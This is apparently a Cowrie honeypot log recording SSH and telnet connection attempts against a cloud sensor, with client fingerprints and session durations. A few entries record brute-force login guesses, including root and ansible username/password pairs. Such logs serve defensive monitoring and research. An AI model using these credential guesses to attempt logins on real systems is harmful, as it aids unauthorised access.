{"eventid":"cowrie.login.failed","username":"test","password":"test00","message":"login attempt [test/test00] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:43.808025Z","src_ip":"125.31.2.160","session":"803d7fa3bb30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":50300,"dst_ip":"159.203.135.109","dst_port":23,"session":"10f91b7087f9","protocol":"telnet","message":"New connection: 146.19.248.24:50300 (159.203.135.109:23) [session: 10f91b7087f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:43.961982Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:45.029060Z","src_ip":"125.31.2.160","session":"803d7fa3bb30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":40090,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e6b157f3def","protocol":"telnet","message":"New connection: 103.157.135.60:40090 (10.17.0.5:23) [session: 6e6b157f3def]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:49.166675Z"}
{"eventid":"cowrie.session.closed","duration":30.689504623413086,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:50.216842Z","src_ip":"146.19.248.24","session":"ebbcc269b16f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01993203163147,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:51.084068Z","src_ip":"146.19.248.24","session":"87adc20ee31f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":56448,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b0476d083c5","protocol":"telnet","message":"New connection: 146.19.248.24:56448 (159.203.135.109:23) [session: 6b0476d083c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:51.414453Z"}
{"eventid":"cowrie.session.closed","duration":30.888262510299683,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:52.162071Z","src_ip":"146.19.248.24","session":"9fa6da19a271","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":56464,"dst_ip":"159.203.135.109","dst_port":23,"session":"4dd618146e63","protocol":"telnet","message":"New connection: 146.19.248.24:56464 (159.203.135.109:23) [session: 4dd618146e63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:54.041846Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":56474,"dst_ip":"159.203.135.109","dst_port":23,"session":"77d8af11b1a3","protocol":"telnet","message":"New connection: 146.19.248.24:56474 (159.203.135.109:23) [session: 77d8af11b1a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:54.147315Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":56482,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f4f50142ea4","protocol":"telnet","message":"New connection: 146.19.248.24:56482 (159.203.135.109:23) [session: 9f4f50142ea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:54.993191Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":56492,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c81b60c1e9b","protocol":"telnet","message":"New connection: 146.19.248.24:56492 (159.203.135.109:23) [session: 8c81b60c1e9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:55.909736Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":53850,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1461ef6cb72","protocol":"telnet","message":"New connection: 146.19.248.24:53850 (159.203.135.109:23) [session: d1461ef6cb72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:56.972431Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":53854,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb4ee4e0d1c4","protocol":"telnet","message":"New connection: 146.19.248.24:53854 (159.203.135.109:23) [session: eb4ee4e0d1c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:57.641997Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":53856,"dst_ip":"159.203.135.109","dst_port":23,"session":"03e323c3e1fb","protocol":"telnet","message":"New connection: 146.19.248.24:53856 (159.203.135.109:23) [session: 03e323c3e1fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:57.739241Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":40592,"dst_ip":"10.17.0.5","dst_port":23,"session":"7add24a0a3f6","protocol":"telnet","message":"New connection: 139.162.207.207:40592 (10.17.0.5:23) [session: 7add24a0a3f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:58.504057Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":59586,"dst_ip":"159.203.135.109","dst_port":23,"session":"718612a54e92","protocol":"telnet","message":"New connection: 209.126.87.217:59586 (159.203.135.109:23) [session: 718612a54e92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:59.890011Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":53862,"dst_ip":"159.203.135.109","dst_port":23,"session":"affb34fdad01","protocol":"telnet","message":"New connection: 146.19.248.24:53862 (159.203.135.109:23) [session: affb34fdad01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:00.449509Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":53874,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea1dfad838b2","protocol":"telnet","message":"New connection: 146.19.248.24:53874 (159.203.135.109:23) [session: ea1dfad838b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:00.824255Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":40600,"dst_ip":"10.17.0.5","dst_port":23,"session":"811925ccafa1","protocol":"telnet","message":"New connection: 139.162.207.207:40600 (10.17.0.5:23) [session: 811925ccafa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:02.352042Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":37860,"dst_ip":"10.17.0.5","dst_port":23,"session":"a64b9c66c1e8","protocol":"telnet","message":"New connection: 103.157.135.60:37860 (10.17.0.5:23) [session: a64b9c66c1e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:05.177952Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":46898,"dst_ip":"10.17.0.5","dst_port":23,"session":"22ee1a412b51","protocol":"telnet","message":"New connection: 103.157.135.60:46898 (10.17.0.5:23) [session: 22ee1a412b51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:06.198950Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":53890,"dst_ip":"159.203.135.109","dst_port":23,"session":"f52ed03cbcdf","protocol":"telnet","message":"New connection: 146.19.248.24:53890 (159.203.135.109:23) [session: f52ed03cbcdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:06.570247Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":33602,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6537b595ea9","protocol":"telnet","message":"New connection: 146.19.248.24:33602 (159.203.135.109:23) [session: b6537b595ea9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:07.073869Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":59602,"dst_ip":"159.203.135.109","dst_port":23,"session":"f89227cdaef8","protocol":"telnet","message":"New connection: 209.126.87.217:59602 (159.203.135.109:23) [session: f89227cdaef8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:07.872133Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":33618,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f2b91cbe3da","protocol":"telnet","message":"New connection: 146.19.248.24:33618 (159.203.135.109:23) [session: 9f2b91cbe3da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:09.074914Z"}
{"eventid":"cowrie.session.closed","duration":31.082085371017456,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:09.135237Z","src_ip":"146.19.248.24","session":"03137d687d6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":33634,"dst_ip":"159.203.135.109","dst_port":23,"session":"66163f3a7e54","protocol":"telnet","message":"New connection: 146.19.248.24:33634 (159.203.135.109:23) [session: 66163f3a7e54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:09.291333Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":33640,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f78dc0caab0","protocol":"telnet","message":"New connection: 146.19.248.24:33640 (159.203.135.109:23) [session: 4f78dc0caab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:09.483675Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":33646,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad83e13cd195","protocol":"telnet","message":"New connection: 146.19.248.24:33646 (159.203.135.109:23) [session: ad83e13cd195]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:09.986274Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":33648,"dst_ip":"159.203.135.109","dst_port":23,"session":"79237258fc40","protocol":"telnet","message":"New connection: 146.19.248.24:33648 (159.203.135.109:23) [session: 79237258fc40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:11.341377Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":33656,"dst_ip":"159.203.135.109","dst_port":23,"session":"523aa10ce52c","protocol":"telnet","message":"New connection: 146.19.248.24:33656 (159.203.135.109:23) [session: 523aa10ce52c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:12.724477Z"}
{"eventid":"cowrie.session.closed","duration":30.664002180099487,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:13.044245Z","src_ip":"146.19.248.24","session":"8bdb7948c93b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57640,"dst_ip":"159.203.135.109","dst_port":22,"session":"09c7c318b1b2","protocol":"ssh","message":"New connection: 159.203.92.129:57640 (159.203.135.109:22) [session: 09c7c318b1b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:14.343083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:14.348500Z","src_ip":"159.203.92.129","session":"09c7c318b1b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:14.353548Z","src_ip":"159.203.92.129","session":"09c7c318b1b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"admin_123","message":"login attempt [ansible/admin_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:14.367046Z","src_ip":"159.203.92.129","session":"09c7c318b1b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:15.373340Z","src_ip":"159.203.92.129","session":"09c7c318b1b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.884673833847046,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:15.846555Z","src_ip":"146.19.248.24","session":"10f91b7087f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":33672,"dst_ip":"159.203.135.109","dst_port":23,"session":"7056ab30eea2","protocol":"telnet","message":"New connection: 146.19.248.24:33672 (159.203.135.109:23) [session: 7056ab30eea2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:16.239074Z"}
{"eventid":"cowrie.session.closed","duration":30.447744607925415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:19.614192Z","src_ip":"103.157.135.60","session":"6e6b157f3def","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":42462,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c44af91f08f","protocol":"telnet","message":"New connection: 146.19.248.24:42462 (159.203.135.109:23) [session: 0c44af91f08f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:20.733425Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":40742,"dst_ip":"10.17.0.5","dst_port":23,"session":"a41786cbf4b8","protocol":"telnet","message":"New connection: 139.162.207.207:40742 (10.17.0.5:23) [session: a41786cbf4b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:22.011910Z"}
{"eventid":"cowrie.session.closed","duration":30.649160623550415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:22.063502Z","src_ip":"146.19.248.24","session":"6b0476d083c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":51378,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c85bec052d1","protocol":"telnet","message":"New connection: 103.157.135.60:51378 (10.17.0.5:23) [session: 1c85bec052d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:22.167804Z"}
{"eventid":"cowrie.session.closed","duration":31.1345796585083,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:25.176267Z","src_ip":"146.19.248.24","session":"4dd618146e63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.638541221618652,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:25.785726Z","src_ip":"146.19.248.24","session":"77d8af11b1a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.460050344467163,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:26.453121Z","src_ip":"146.19.248.24","session":"9f4f50142ea4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.706326484680176,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:26.615959Z","src_ip":"146.19.248.24","session":"8c81b60c1e9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":48122,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b14693c2987","protocol":"telnet","message":"New connection: 146.19.248.24:48122 (159.203.135.109:23) [session: 7b14693c2987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:27.316514Z"}
{"eventid":"cowrie.session.closed","duration":31.105060338974,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:28.077391Z","src_ip":"146.19.248.24","session":"d1461ef6cb72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.534018754959106,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:28.175911Z","src_ip":"146.19.248.24","session":"eb4ee4e0d1c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65431261062622,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:28.393444Z","src_ip":"146.19.248.24","session":"03e323c3e1fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":48138,"dst_ip":"159.203.135.109","dst_port":23,"session":"8eef6a0fc1c8","protocol":"telnet","message":"New connection: 146.19.248.24:48138 (159.203.135.109:23) [session: 8eef6a0fc1c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:29.027212Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":48144,"dst_ip":"159.203.135.109","dst_port":23,"session":"88808f9f33f1","protocol":"telnet","message":"New connection: 146.19.248.24:48144 (159.203.135.109:23) [session: 88808f9f33f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:29.427462Z"}
{"eventid":"cowrie.session.closed","duration":30.55844759941101,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:31.382530Z","src_ip":"146.19.248.24","session":"ea1dfad838b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.957866668701172,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:31.407212Z","src_ip":"146.19.248.24","session":"affb34fdad01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.870954990386963,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:31.760876Z","src_ip":"209.126.87.217","session":"718612a54e92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"125.31.2.160","src_port":41164,"dst_ip":"10.17.0.5","dst_port":22,"session":"bab90462f4e5","protocol":"ssh","message":"New connection: 125.31.2.160:41164 (10.17.0.5:22) [session: bab90462f4e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:35.586404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:35.591170Z","src_ip":"125.31.2.160","session":"bab90462f4e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.462754487991333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:35.640558Z","src_ip":"103.157.135.60","session":"a64b9c66c1e8","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:35.809186Z","src_ip":"125.31.2.160","session":"bab90462f4e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":48160,"dst_ip":"159.203.135.109","dst_port":23,"session":"edd610eb649a","protocol":"telnet","message":"New connection: 146.19.248.24:48160 (159.203.135.109:23) [session: edd610eb649a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:36.096784Z"}
{"eventid":"cowrie.session.closed","duration":30.50814199447632,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:36.706978Z","src_ip":"103.157.135.60","session":"22ee1a412b51","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Gx@123456","message":"login attempt [root/Gx@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:36.715081Z","src_ip":"125.31.2.160","session":"bab90462f4e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":54450,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb6ca77e4f0a","protocol":"telnet","message":"New connection: 146.19.248.24:54450 (159.203.135.109:23) [session: eb6ca77e4f0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:37.009704Z"}
{"eventid":"cowrie.session.closed","duration":30.527862071990967,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:37.097977Z","src_ip":"146.19.248.24","session":"f52ed03cbcdf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:37.938328Z","src_ip":"125.31.2.160","session":"bab90462f4e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":54462,"dst_ip":"159.203.135.109","dst_port":23,"session":"c119520f928a","protocol":"telnet","message":"New connection: 146.19.248.24:54462 (159.203.135.109:23) [session: c119520f928a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:38.240674Z"}
